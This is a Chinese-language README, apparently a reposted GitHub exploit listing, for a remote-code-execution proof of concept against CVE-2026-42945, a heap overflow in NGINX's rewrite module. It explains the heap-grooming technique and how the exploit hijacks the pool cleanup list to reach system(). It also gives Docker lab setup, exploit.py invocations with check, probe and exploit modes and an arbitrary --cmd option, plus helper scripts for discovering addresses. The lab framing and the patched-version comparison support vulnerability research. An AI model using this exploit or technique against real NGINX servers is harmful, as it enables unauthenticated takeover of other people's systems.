## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-F2U0A0D3-CVE-2026-42945-NGINX-RIFT-POC
# NGINX Rift — CVE-2026-42945
针对 **CVE-2026-42945** 的 RCE 概念验证,这是一个 NGINX 的 `ngx_http_rewrite_module` 中自 2008 年引入的严重堆缓冲区溢出漏洞。可在使用 `rewrite ... ?...` \+ `set` 捕获组合的服务器上实现未经认证的远程代码执行。
原始漏洞披露:depthfirst —— 与 CVE-2026-42946、CVE-2026-40701、CVE-2026-42934 一同通过其自主源代码审计系统发现。
## 布局
root@kitploit:~
poc-CVE-2026-42945/
├── exploit.py — 改进版 PoC(3 种模式:--check / --probe / --exploit)
├── poc.py.orig — 原始 depthfirst PoC(参考)
├── env/ — 双容器 Docker 实验环境
│ ├── Dockerfile (漏洞版本:nginx commit 98fc3bb78)
│ ├── Dockerfile.patched (修复版本:release-1.31.0)
│ ├── docker-compose.yml (两个服务)
│ ├── nginx.conf (存在漏洞的 rewrite + set 配置)
│ ├── entrypoint.sh (在 setarch -R 下运行——ASLR 关闭)
│ └── server.py (后端桩程序)
├── discover-addresses.sh — 从运行中的容器提取 HEAP_BASE / LIBC_BASE / system() 偏移量
├── verify.sh — 双容器验证脚本(攻击漏洞版本,确认修复版本拦截)
├── setup.sh — 构建辅助脚本(旧版单镜像方式)
├── references.md — 完整的漏洞机制、利用策略、缓解措施
└── README.md — 本文件
## 漏洞简述
两遍脚本引擎中 `is_args` 标志不同步:
* **长度遍历** :`is_args = 0` → 分配原始捕获长度
* **复制遍历** :`is_args = 1` → `ngx_escape_uri(NGX_ESCAPE_ARGS)` 3 倍扩展 → 堆溢出
利用方式:通过 POST `/spray` 请求体进行堆风水(请求体允许 NUL 字节,植入伪造的 `ngx_pool_cleanup_s`)+ 通过 URI 溢出破坏相邻的 `ngx_pool_t.cleanup` 链表头。池销毁 → `system(cmd)`。
完整机制及利用策略见 references.md。
## 受影响与修复版本
产品| 受影响版本| 修复版本
---|---|---
NGINX Open Source| 0.6.27 – 1.30.0| 1.30.1, 1.31.0
NGINX Plus| R32 – R36| R36 P4, R35 P2, R32 P6
厂商公告:https://my.f5.com/manage/s/article/K000160932
## 快速开始
root@kitploit:~
# 构建两个容器
docker compose -f env/docker-compose.yml build
# 启动实验环境(漏洞版本=:19321,修复版本=:19421)
docker compose -f env/docker-compose.yml up -d
# 仅检测(不触发溢出)
python3 exploit.py --check --host 127.0.0.1 --port 19321
# 完整利用
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
--cmd 'echo pwned > /tmp/rift'
docker exec nginx-rift-vuln cat /tmp/rift
# 双容器验证(攻击漏洞版本 + 确认修复版本拦截)
./verify.sh
# 关闭实验环境
docker compose -f env/docker-compose.yml down
## 模式
非本地主机目标需要添加 `--i-have-tested-this` 标志(确认硬编码偏移量与目标部署版本匹配)。
## 地址发现
默认的 `--heap-base` / `--libc-base` / `--system-offset` 是捆绑实验环境中的值(Ubuntu 22.04 / glibc 2.35 / nginx commit 98fc3bb78 / ASLR 关闭)。对于全新构建或不同 libc:
root@kitploit:~
docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# 将值复制到 exploit.py 调用中
## 注意事项
* **仅限实验环境。** 硬编码偏移量仅在捆绑的容器内稳定。生产环境利用需要针对目标推导偏移量(信息泄露 + 偏移枚举)。
* **ASLR。** 实验环境通过 `setarch -R` 禁用了 ASLR。真实目标启用了 ASLR——需要额外的信息泄露原语。
* **配置依赖。** 漏洞表面要求部署的 nginx.conf 中存在 `rewrite ... ?` \+ `set $X $N` 组合。许多真实配置缺少此条件。
## 致谢
* 漏洞发现及原始 PoC:depthfirst
* 本分支:添加了 `--check` 检测模式、`--probe` 偏移枚举、修复版本容器、地址发现辅助工具、双容器验证脚本。